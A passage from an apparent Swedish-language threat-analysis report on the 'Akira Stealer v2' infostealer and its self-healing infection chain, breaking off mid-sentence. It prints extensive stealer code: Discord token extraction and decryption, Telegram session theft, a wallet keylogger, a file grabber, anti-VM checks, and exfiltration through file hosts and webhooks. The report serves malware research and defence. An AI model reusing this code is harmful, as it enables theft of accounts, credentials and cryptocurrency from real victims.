För att öka tillförlitligheten och minska bruset innehåller Akira ett valideringssteg: den skickar en testförfrågan till Discords endpoint /users/@me med varje insamlat token. Endast token som lyckas autentisera (HTTP 200) exfiltreras via webhook, vanligtvis till en Discord-kanal som kontrolleras av angriparen.
Den här metoden gör det möjligt för angripare att kapa Discord-konton i realtid, utge sig för att vara offret, skrapa DM:er och guilds, eller sprida ytterligare skadeprogram genom social engineering, allt utan att utlösa inloggningsvarningar.
import re, requests
patterns = [
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}", # User tokens
r"mfa\.[\w-]{84,100}" # MFA tokens
]
def harvest_discord(base, webhook_url):
db_dir = os.path.join(base, "Local Storage", "leveldb")
for file in os.listdir(db_dir):
if file.endswith(('.log', '.ldb')):
for line in open(os.path.join(db_dir, file), errors='ignore'):
for pat in patterns:
for token in re.findall(pat, line):
# Verify token
h = {"Authorization": token}
r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
if r.status_code == 200:
uname = r.json()["username"] + "#" + r.json()["discriminator"]
payload = {"content": f"**Discord** {uname}: `{token}`"}
requests.post(webhook_url, json=payload)
- Validering: Skickar bara giltiga token, vilket förhindrar att inaktuella JWT:er skickas.
7.8.4 Telegram-sessionsfiler
Mål: Telegram Desktop/TData
def steal_telegram(tdata_path, dest_root):
if os.path.exists(tdata_path):
Utils.TaskKill("telegram.exe")
dest = os.path.join(dest_root, "Wallets", "Telegram")
shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
data.has_telegram = True
- Filer: mappen
tdatasom innehåller sessionsnycklar, mappenD877F...med hemliga/icke-hemliga filer. - Användning: Laddas in i angriparens Telegram-klient för fullständig kontoåtkomst.
7.8.5 Keylogging av plånböcker i realtid
Kryptovalutaplånböcker är förstahandsmål för moderna infostealers. Akira innehåller en keylogger i realtid som är specifikt utformad för att stjäla plånboksuppgifter som återställningsfraser, privata nycklar och lösenord i det ögonblick de matas in. Till skillnad från generiska keyloggers aktiveras den här bara när ett känt plånboksfönster upptäcks, vilket kraftigt minskar bruset och ökar effektiviteten.
Modulen övervakar aktiva fönstertitlar och jämför dem mot en hårdkodad lista med populära plånboksappar som MetaMask, Phantom, Atomic Wallet och andra. Så snart ett matchande fönster är i fokus börjar den registrera tangenttryckningar via systemomfattande tangentbordshookar. När användaren trycker på Enter fångar modulen omedelbart det aktuella innehållet i urklipp, eftersom användare ofta kopierar hemligheter vid plånboksinstallation eller inloggning, och skickar både den inmatade texten och urklippsdatan till angriparens webhook. Metoden är extremt effektiv eftersom den kombinerar två attackvektorer:
- Kontextmedveten keylogging, för att fånga känsliga plånboksinmatningar bara när det är relevant.
- Kapning av urklipp, för att extrahera kopierade återställningsfraser eller mottagaradresser innan de klistras in.
Tillsammans gör de här metoderna det möjligt för angripare att i tysthet kompromettera plånböcker i realtid, även utan webbläsaråtkomst eller filexfiltrering.
import keyboard, pyperclip
class WalletKeylogger:
def __init__(self, wallet_titles):
self.buf = ""
keyboard.on_release(self.capture)
self.wallet_titles = wallet_titles
def capture(self, event):
title = pygetwindow.getActiveWindow().title
if any(w in title for w in self.wallet_titles):
if event.name == 'enter':
data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
send_to_webhook(data)
self.buf = ""
else:
self.buf += event.name
- Utlösarlista: Fönstertitlar inklusive "MetaMask", "Phantom", "Atomic Wallet" med flera.
- Urklipp: Fångar kopierade återställningsfraser eller privata nycklar.
7.8.6 Paketering och exfiltrering
När webbläsardata, autentiseringsuppgifter, plånboksinformation och token har samlats in går Akira vidare med att konsolidera och exfiltrera bytet på ett mycket automatiserat och smygande sätt. Det här steget markerar det sista ledet i infektionskedjan och är optimerat för tillförlitlighet och minimalt forensiskt fotavtryck. Först komprimeras all insamlad data, inklusive webbläsardumpar, loggar och keyloggad plånboksinformation, till ett ZIP-arkiv. Det säkerställer att hela datamängden kan överföras som en enda nyttolast. Arkivet laddas sedan upp till flera publika fildelningstjänster som GoFile, File.io eller Oshi.at, beroende på tillgänglighet. De här plattformarna erbjuder anonym, tillfällig hosting och används ofta för att kringgå företagsbrandväggar eller ryktesbaserad blockering. Samtidigt genereras en strukturerad rapport som skickas till angriparen via en Discord- eller Telegram-webhook. Den innehåller sammanfattande statistik, det vill säga hur många plånböcker som hittades, hur många token som var giltiga och en direktlänk till den stulna datan. Det ger angripare en snabb överblick över målets värde utan att öppna arkivet.
Till sist raderar skadeprogrammet den temporära mappen och arkivet från disken, vilket i praktiken tar bort lokala forensiska spår. När en försvarare upptäcker infektionen är datan redan borta, och ofta omöjlig att återfå.
# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
"title": "💰 Wallet & Token Exfiltration Report",
"fields": [
{"name": "Extension Wallets", "value": data.ext_wallets_count},
{"name": "Desktop Wallets", "value": data.desktop_wallets_count},
{"name": "Discord Tokens", "value": len(valid_tokens)},
{"name": "Telegram Sessions", "value": data.has_telegram},
{"name": "Archive Link", "value": url or "[upload failed]"},
]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()
7.9. Stöld av Discord- och Telegram-token (klass: Discord)
Akira Stealer v2:s Discord-klass kör en starkt parallelliserad process i flera steg för att skörda både Discord-auktoriseringstokens och Telegram-sessionsdata. Nedan bryter vi ner varje komponent med exakta kodreferenser och illustrativa exempel.
7.9.1 Initialization & Path Enumeration
Vid instansiering bygger konstruktorn två uppsättningar målsökvägar:
# Discord client LevelDB directories
discord_paths = [
[f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
[f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
...
]
# Chromium-based browser LevelDB directories
browserPaths = [
[f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
[f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
...
]
- Discord Paths riktar in sig på officiella och inofficiella Discord-klienter under
%APPDATA%. - Browser Paths täcker användardatamappar för populära webbläsare, inklusive undermappar för local storage och tillägg.
Trådar startas för varje post:
for patt in browserPaths:
t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
t.start()
for patt in discord_paths:
t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
t.start()
Denna trådmodell maximerar I/O-genomströmningen och sonderar dussintals kataloger samtidigt.
7.9.2 Token Extraction Logic
Plaintext Token Scraping from Browsers
get_btoken(path, arg) navigerar till varje LevelDB-mapp och inspekterar .log- och .ldb-filer:
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}", errors="ignore"):
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
tokens = re.findall(regex, line)
for token in tokens:
self.tokens.append(token)
self.cehckToken(token)
- Regex
[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}matchar vanliga Discord-tokens. - Regex
mfa\.[\w-]{80,95}fångar MFA-tokens. - Deduplicering sker implicit: tokens lagras i
self.tokensföre validering.
Encrypted Token Decryption in Discord Client
Discords klient krypterar Local Storage-poster under DPAPI, med prefixet v10 eller v11. get_discord(path, arg) hanterar detta:
# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)
# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}"):
for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
ciphertext = b64decode(token_part)
token = self.decrypt_value(ciphertext, master_key)
self.tokens.append(token)
self.cehckToken(token)
- Master Key Recovery: Skalar bort den 5 byte långa DPAPI-headern och anropar sedan
CryptUnprotectData(som omsluter Windows DPAPI) för att dekryptera AES-GCM-nyckeln. - Payload Parsing: Tokens har prefixet
dQw4w9WgXcQ:(en markör som angriparen valt). Efter Base64-avkodning delardecrypt_value()upp IV och ciphertext:def decrypt\_value(buff, master\_key): iv = buff\[3:15] payload = buff\[15:] cipher = AES.new(master\_key, AES.MODE\_GCM, iv) return cipher.decrypt(payload)\[:-16].decode()
7.9.3 Token Validation & Exfiltration
Varje extraherad token valideras via ett live-API-anrop:
headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
self.cehckToken(token)
- Vid lyckat svar avgör
cehckToken()om den ska skickas via Telegram (useTg=True) eller Discord-webhook:if useTg: self.sendTokenTg(token) else: self.send\_embed(token)
send_embedbygger en rik Discord-embed som innehåller användarens metadata (username, discriminator, e-post, Nitro-status, faktureringsinfo) med fält från
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
sendTokenTgskickar en sammanfattning i klartext via Telegram-API:et.
7.9.4 Telegram Session Harvesting
Utöver Discord-tokens tar stealern även Telegram Desktop-sessioner:
@staticmethod
def steal_telegram():
src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
Utils.TaskKill("telegram.exe")
shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
- Process Termination: Säkerställer att fillås släpps.
- Recursive Copy: Stjäl
tdata-mappen, inklusive användarsessioner, kontakter och cachade meddelanden. - Exfiltration: Den stulna mappen zippas och laddas upp via
sendFilesTG(), med nedladdningslänken inbäddad i ett Telegram-meddelande.
Akira Stealers Discord-modul kombinerar regex-baserad scraping, DPAPI-underbyggd AES-GCM-dekryptering, live-API-validering och exfiltrering över flera protokoll (webhook + Telegram) för att leverera en smidig förmåga till kontoövertagande på både Discord och Telegram.
7.10 Systemprofilering
Akira Stealer v2 innehåller en omfattande systemprofileringsfas för att samla in värdmetadata, miljöattribut och nätverksdetaljer. Denna information sammanställs i klassen Data och paketeras senare tillsammans med de exfiltrerade autentiseringsuppgifterna. Nedan bryter vi ner profileringslogiken med direkta kodreferenser.
7.10.1 Data Class Initialization
Vid start skapas en instans av Data:
class Data:
def __init__(self):
self.username = os.getlogin()
self.computerName = os.getenv("computername") or "Unable to get computer name"
self.system_info = f"Computer Name: {self.computerName}\n..."
...
self.ip = requests.get(url="https://api.ipify.org").text
ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
self.country = ipdata.get("country")
self.countryCode = ipdata.get("countryCode", "").lower()
- Username & Hostname: Hämtas via
os.getlogin()och miljövariabelnCOMPUTERNAME. - IP Address: Hämtas med
requests.get("https://api.ipify.org")och geolokaliseras sedan viaip-api.comför land och ISO-kod.
7.10.2 OS and Hardware Enumeration
Med hjälp av WMI-kommandon (Windows Management Instrumentation):
# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)
Resultaten tolkas till läsbara strängar (strip(), indexoperationer) och sammanfogas till:
self.system_info = (
f"Computer Name: {self.computerName}\n"
f"Total Memory: {self.totalMemory}\n"
f"CPU: {self.cpu}\n"
f"GPU: {self.gpu}\n"
f"Product Key: {self.productKey}"
)
7.10.3 VM Detection & Anti-Sandbox Checks
Innan den djupare profileringen anropar skadeprogrammet VmProtect.isVM(level) för att upptäcka virtualiserings- eller analysmiljöer:
if VmProtect.isVM(1):
sys.exit()
Viktiga kontroller inkluderar:
- Registry Keys & Driver Descriptors: Frågar efter virtualiseringsrelaterade registerposter.
- Blacklisted UUIDs & Computer Names: Matchar mot kända VM-fingeravtryck.
- HTTP Simulation: Försöker ansluta till en obefintlig domän över HTTPS.
- Process Blacklist: Startar en bakgrundstråd som avslutar verktyg som
wireshark,ollydbg,ida64.
7.10.4 Packaging & Transmission
Den insamlade system_info, IP-adressen och landsflaggan bäddas in i headerns för webhook-payloaden:
webhook_payload = {
"embeds": [{
"title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
"description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
"fields": [...]
}]
}
requests.post(self.webhook_url, json=webhook_payload)
- Flag Emoji: Härleds från ISO-landskoden.
- Fields: Innehåller antal stulna lösenord, cookies etc., men systeminformationen ligger i embedens description för omedelbar kontext.
Summary: Systemprofileringen i Akira Stealer v2 samlar in omfattande värd- och nätverksdata via WMI-kommandon, miljövariabler och IP-geolokalisering. Kombinerat med VM-detektering och rutiner som dödar verktyg säkerställer detta att angriparen har en fullständig ögonblicksbild av den komprometterade miljön, vilket förbättrar riktade uppföljningsåtgärder och sorterar bort analyssandboxar.
7.11 Filinsamlare (klass: Utils.steal_files)
Utöver webbläsardata och tokens försöker Akira också extrahera värdefullt användargenererat innehåll, som dokument, kalkylark, privata anteckningar och kryptografiska nyckelfiler. File Grabber-modulen ansvarar för denna uppgift. Den fungerar genom att skanna kataloger med högt värde efter vanliga filtyper och mönster och lägger sedan tyst till dem i exfiltreringspaketet. Det som gör denna modul särskilt farlig är dess enkelhet och fokus: den försöker inte genomsöka hela filsystemet. Istället riktar den in sig på specifika, sannolika platser där känsliga filer vanligtvis lagras. Dit hör katalogerna Desktop, Documents, Downloads och OneDrive, var och en relativt användarens hemsökväg. Detta fokuserade tillvägagångssätt förbättrar både hastighet och smyghet och minskar sannolikheten för upptäckt under skanningen. Det undviker också att varna användaren genom att inte komma åt system- eller skyddade kataloger. När filer av intresse har lokaliserats kopieras de till en temporär mapp, döps eventuellt om eller grupperas, och komprimeras senare till det slutliga ZIP-arkivet som laddas upp i exfiltreringsfasen.
7.11.1 Target Directories Enumeration
Stealern fokuserar på fyra mappar med hög avkastning:
searchFolders = [
"Desktop",
"Documents",
"Downloads",
"OneDrive"
]
Varje mapp tolkas relativt offrets hemkatalog:
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
# proceed to scan
7.11.2 Keyword & Extension Filtering
Keyword List
En fördefinierad uppsättning delsträngar styr filurvalet. Endast filnamn som innehåller minst ett nyckelord beaktas:
keywordsFiles = [
"passw", "seed", "mnemo", "phrase", "login", "wallet",
"crypto", "token", "backup", "secret", "account"
]
- Partial Matches: Nyckelord som
passwfångar bådepasswords.txtochpassw_backup.docx. - Broad Coverage: Omfattar termer som rör autentisering, wallet, krypto och tokens.
7.11.3 Allowed File Types
För att minimera brus tillämpas en vitlista av filändelser:
allowed_extensions = [
".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
".jpg", ".png"
]
7.11.3 Size Constraint
Filer större än 2 megabyte hoppas över för att optimera exfiltreringshastigheten och undvika stora överföringar:
file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
# eligible for copy
7.11.4 Recursive Scanning & Copy Logic
När katalogerna med högt värde har identifierats inleder Akira en rekursiv skanningsrutin som traverserar undermappar och lokaliserar filer som matchar specifika nyckelord och filändelser. Denna fas är byggd för precision och smyghet: endast filer som matchar fördefinierade kriterier, som filnamn med känsliga nyckelord och godkända filtyper, beaktas. Logiken säkerställer att endast relevant, användargenererat innehåll exfiltreras. Den ignorerar systemfiler, cachar och binärer och begränsar storleken på enskilda filer till 2 MB för att minska uppladdningsstorlek och risk för upptäckt. Denna skanningsmetod är tyst, effektiv och optimerad för smygande datastöld i verkliga miljöer. Genom att kopiera matchande filer till en staging-mapp och föra en lista över vad som togs förbereder Akira innehållet för paketering och exfiltrering, samtidigt som duplicering och operativt brus minimeras.
Kärnrutinen steal_files() fungerar enligt följande:
@staticmethod
def steal_files():
stolen_files = set()
temp_folder = Utils.get_temp_folder()
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
for root, _, files in os.walk(current_path):
for file in files:
lower = file.lower()
# Keyword check
if any(keyword in lower for keyword in keywordsFiles):
ext = os.path.splitext(lower)[1]
# Extension and size check
if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
# Prepare destination
files_dir = os.path.join(temp_folder, "Files")
os.makedirs(files_dir, exist_ok=True)
shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
stolen_files.add(file)
data.stolen_files.extend(stolen_files)
Key points:
os.walk: Går rekursivt ner i underkataloger.- Case-insensitive matching: Filnamn normaliseras via
lower(). - Atomic copy: Använder
shutil.copyför att bevara filinnehållet. - Set of stolen filenames: Förhindrar dubbelkopior när samma fil förekommer två gånger.
- Integration with
Data:data.stolen_filessamlar den stulna fillistan för senare rapportering.
7.11.5 Archiving and Exfiltration
Efter insamlingen zippas Files-mappen och skickas iväg:
# Archive
Utils.zip_client_file() # creates CLIENT.zip from temp_folder
# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
zip_client_file(): Komprimerar hela temp-katalogen, inklusiveFiles,Cookies,Passwordsetc.sendFilesTG(): Postar nedladdningslänken via Telegram eller Discord-webhook och listar varje stulet filnamn:fields.append({ "name": "📂 Files", "value": "`" + "\n".join(data.stolen_files) + "`", "inline": False })
Conclusion:
File Grabber i Akira Stealer v2 letar systematiskt efter känsliga dokument med hjälp av nyckelords- och filändelsefilter, respekterar en storleksgräns på 2 MB för effektivitet och konsoliderar stulna objekt i ett arkiv. Dess design säkerställer både bredd (flera mappar) och precision (riktade filter), vilket gör den till en av de mest impactfulla faserna i skadeprogrammets livscykel.
7.12 Exfiltreringsstrategi
Exfiltreringsmodulen hanterar skördade tokens och ytterligare artefakter (cookies, autofills, loggar) genom att stage:a dem i en strukturerad katalog, komprimera dem till ett arkiv, ladda upp till flera onlinefilvärdar och skicka detaljerade webhook-notifieringar. Detta avsnitt dekonstruerar varje steg med filsökvägar, domänendpoints och kodreferenser för full spårbarhet.
7.12.1 Directory Layout & Filenames
Akira organiserar alla insamlade artefakter i en ren och hierarkisk temporär katalogstruktur. Denna design möjliggör effektiv paketering och enkel granskning efter exfiltrering hos angriparen. Varje datakategori, som Tokens, Cookies, Passwords eller Screenshots, lagras i sin egen undermapp under en rotsökväg uppkallad efter offrets dator (t.ex. DESKTOP1234). Denna strukturerade layout ger tydlighet, minimerar duplicering och effektiviserar arkiverings- och uppladdningsprocessen. Den gör också automatiserad tolkning eller manuell inspektion mycket enklare på angriparens sida.
C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│ ├ token_ab12cd34.txt
│ └ token_ef56gh78.txt
├─ Cookies\
│ ├ Chrome_Cookies.txt
│ └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\
7.12.2 Token & Artifact Staging
Före exfiltrering stage:ar Akira alla relevanta artefakter i motsvarande undermappar. Token-värden skrivs till exempel till enskilda .txt-filer för att underlätta snabb skanning och validering. Cookies, autofill-poster och lösenord skrivs på liknande sätt till strukturerade textfiler namngivna efter webbläsare. Detta steg standardiserar datalayouten och gör det möjligt för automatiserade verktyg att spåra vad som skördats. Det säkerställer också att zip-arkivet senare speglar ett förutsägbart och angriparvänligt format, oavsett vilka moduler som utlöstes.
import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
f.write(token)
- Tokens sparas i separata små textfiler för snabb inspektion.
- Cookie-dumpar från
Chromium.GetCookies()skrivs till{Browser}_Cookies.txt.
7.13.3 ZIP Archive Creation
När staging är klar komprimerar Akira hela katalogen till ett enda ZIP-arkiv. Arkivets filnamn följer en konsekvent namnkonvention:
import zipfile, datetime
def create_archive(root_dir: str) -> str:
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, files in os.walk(root_dir):
for fname in files:
full = os.path.join(dirpath, fname)
rel = os.path.relpath(full, root_dir)
zf.write(full, rel)
return zip_path
- Arkivet namnges
DESKTOP1234_20250505T123456Z.zipför värdkoherens.
ZIP Filename Convention
Arkivet namnges med den komprometterade värdens datornamn följt av en UTC-tidsstämpel i ISO-format, vilket säkerställer unikhet och kronologisk ordning.
import datetime, os
def create_archive(root_dir: str) -> str:
# Generate UTC timestamp in YYYYMMDDThhmmssZ format
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
# Construct ZIP filename: <ComputerName>_<Timestamp>.zip
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
return zip_path
Arkivet namnges med den komprometterade värdens datornamn följt av en UTC-tidsstämpel i ISO-format, vilket säkerställer unikhet och kronologisk ordning.
7.14.4 Upload Workflow
Akira använder en trestegsstrategi för uppladdning för att maximera chansen till lyckad dataexfiltrering. Den försöker först ladda upp arkivet till GoFile.io via deras publika API, som returnerar en nedladdningslänk. Om GoFile inte är tillgängligt eller blockeras faller den tillbaka på File.io och sedan Oshi.at, vilket säkerställer att data alltid överförs. Dessa tjänster erbjuder anonym, kortlivad hosting, vilket gör nedtagning och spårbarhet svår. Skriptet fångar den slutliga nedladdnings-URL:en och förbereder den för webhook-leverans.
- Primary: GoFile.io
- API to fetch servers:
GET https://api.gofile.io/servers - Upload endpoint:
POST https://<server>.gofile.io/contents/uploadfile - Response field:
data.downloadPageinnehåller den slutliga URL:en.
- API to fetch servers:
- Fallback #1: File.io
- Upload endpoint:
POST https://file.io/medfiles={'file': open(...)} - Response: JSON-fältet
link.
- Upload endpoint:
- Fallback #2: Oshi.at
- Upload endpoint:
POST http://oshi.at/medfiles[]och parametrarnaexpire=43200, autodestroy=0. - Response: Klartext som innehåller
DL: <url>.
- Upload endpoint:
Implementation Snippet:
import requests
def upload_with_fallback(zip_path):
# GoFile
try:
servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
for srv in servers:
try:
r = requests.post(
f'https://{srv}.gofile.io/contents/uploadfile',
files={'file': open(zip_path,'rb')}, timeout=20)
url = r.json()['data']['downloadPage']
if url: return url
except: continue
except: pass
# File.io
try:
r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
return r.json().get('link','')
except: pass
# Oshi.at
try:
text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
return text.split('DL: ')[1].strip()
except: pass
return ''
7.15.5 Webhook Alerts, Attacker Retrieval & Analyst Visibility Limits
Efter att ZIP-arkivet laddats upp skickar Akira en webhook-notifiering, vanligtvis till Discord eller Telegram, med en strukturerad embed som innehåller detaljerad information: antal stulna tokens, cookie-antal, filstorlek och en klickbar nedladdningslänk. Detta ger angripare omedelbar återkoppling och åtkomst till uthämtning. För att säkerställa tillförlitlighet skickas även ett fallback-meddelande i klartext som bara innehåller arkivlänken. Denna redundans garanterar leverans, även om embeden blockeras av plattformen eller filtreras bort. Ur försvararens perspektiv är denna kommunikation ofta osynlig om inte utgående nätverksövervakning finns på plats.
Embed Notification
# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
{'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
{'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
{'name':'🔑 Tokens','value':str(token_count),'inline':True},
{'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
{'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
'username':'Akira 💊',
'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
- Delivery: Skickas till angriparens Discord-/Telegram-kanal.
- Embed Link: Innehåller en klickbar
download_urlsom pekar på ZIP-filen på GoFile (eller en fallback-värd).
Raw Link Fallback
# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
- Plain Text: Garanterar att länken levereras om embeds blockeras eller tyst slängs.
How the Attacker Retrieves the Link
1. Webhook Infrastructure Angriparen bäddar in webhook-endpointen i skadeprogrammets konfiguration:
# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
- Discord:
https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN> - Telegram:
https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage
2. Real-Time Delivery Omedelbart efter en lyckad filuppladdning kör skadeprogrammet:
payload = {
'username': 'Akira 💊',
'embeds': [{
'title': '🗄️ Exfiltration Complete',
'fields': [
{'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
]
}]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
- Variabeln
download_urlinterpoleras in i embedensfields.value. - För Telegram-fallback dyker
download_urlupp i klartextparameternmessage.
3. EDR & Forensic Visibility Limitations
- No Local Logging: Skadeprogrammet skriver inte
download_urltill disk eller systemloggar. - EDR Blind Spots: Verktyg som Microsoft Defender for Endpoint kan flagga HTTP-anropsförsöket men kan inte extrahera den inbäddade URL:en.
4. Why the Analyst Cannot Recover This Locally:
- No Local Copy of Link: Skadeprogrammet skriver
download_urlendast i minnet och överför den över nätverket; det sparar inte denna URL till disk eller loggar. - Ephemeral Staging Cleanup: Omedelbart efter uppladdning kör koden:
shutil.rmtree(ROOT),
vilket raderar alla stage:ade artefakter (inklusive eventuella temporära textfiler) från%TEMP%. - Network-Only Transmission: Webhook-anropen (
requests.post) sker i minnet; inga HTTP-loggar eller poster i webbläsarhistoriken skapas på offrets dator.
Implication for Analysts: Utan live paketfångst (t.ex. nätverks-TAP eller proxy) vid tidpunkten för exekvering går den exakta
download_urlinte att återskapa efter infektionen. Dessutom raderas det exfiltrerade arkivet automatiskt från hostingtjänsten, vilket ytterligare minskar fönstret för forensisk uthämtning. Imaging efter infektionen eller värdbaserad forensisk återställning kommer inte att avslöja angriparens URL eller filvärdens autentiseringsuppgifter, eftersom inga artefakter finns kvar lokalt.
7.13 Slutsats
astor.py (Akira Stealer v2) är en omfattande, kommersiellt distribuerad stealer-verktygslåda. Den kombinerar bred inriktning, sofistikerad anti-analys, dynamisk infrastrukturkontroll och full-stack-datastöld över autentiseringsuppgifter, krypto, systemprofilering och användarfiler. Dess modularitet och smyghet, i kombination med snabba metoder för återinfektion, gör den till en av de mest tekniskt avancerade stealers som observerats i aktiv användning.
8. Cirkulär exekveringskedja: en självläkande loop
Ett av de mest tekniskt avancerade elementen i den här kampanjen är dess regenerativa, cirkulära exekveringsmodell. Till skillnad från konventionell malware med linjära steg som går från dropper till payload och sedan försvinner, konstruerades den här operationen som en closed loop, där varje komponent bevakar de andra.
Den här självläkande arkitekturen gjorde infektionskedjan inte bara beständig, utan också autonom. Den kunde återhämta sig helt från partiella borttagningar. Så länge en enda del förblev vid liv kunde hela malware-ekosystemet sätta ihop sig självt igen.
8.1 Beteendeanalys
- Persistence Anchor (
Updater.exe)Updater.exefungerar som det grundläggande fotfästet. Den släpps vanligtvis in i en startplats för Windows-användaren, till exempel%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, eller registreras viaHKCU\Software\Microsoft\Windows\CurrentVersion\Run. Dess uppgift är enkel men kritisk: säkerställa attmain.exefinns och starta den tyst vid användarens inloggning. Ommain.exesaknas extraherar den på nytt arkivetapp-64.7z(som ligger i en temp-mapp eller släpps in på nytt) och återskapar hela Electron-appstrukturen. - Bridge Loader (
main.exe)main.exeär den Electron-inkapslade Node.js-applikationen. Den exponerar inget GUI och arbetar helt i bakgrunden. Vid exekvering kör den den inbäddade JavaScript-logiken iapp.asaroch använder Node.js som runtime-miljö. Det här abstraktionslagret frikopplar kärnlogiken från PE-stubben, vilket hjälper till att undgå traditionell analys. - Execution Orchestrator (
jscryter.js) Inbäddad iapp.asarär detta infektionskedjans egentliga styrenhet. Dess huvudfunktioner omfattar:- Att kontrollera om
Updater.exefinns och distribuera den på nytt om den saknas - Att dynamiskt injicera runtime-konfiguration: webhook-URL:er, C2-adresser, tokens
- Att antingen anropa den redan närvarande Python-payloaden (
astor.py) eller ladda ner den som en del av ett ZIP-paket (t.ex.pyth.zip) från angriparkontrollerad infrastruktur
- Att kontrollera om
- Payload Execution (
astor.py) När den väl utlöses exekverasastor.pyi minnet viapython.exe. Den samlar systematiskt in sparade credentials, cookies, Discord-tokens, browser-sessionsdata och tillägg för kryptovalutaplånböcker. Datan förbereds i ett ZIP-arkiv och exfiltreras via HTTPS, oftast till Discord-webhooks, men även fallback-API:er somgofile.ioeller anpassade C2-endpoints har observerats. - Loop Integrity and Self-Healing
Designen är cirkulär. Om
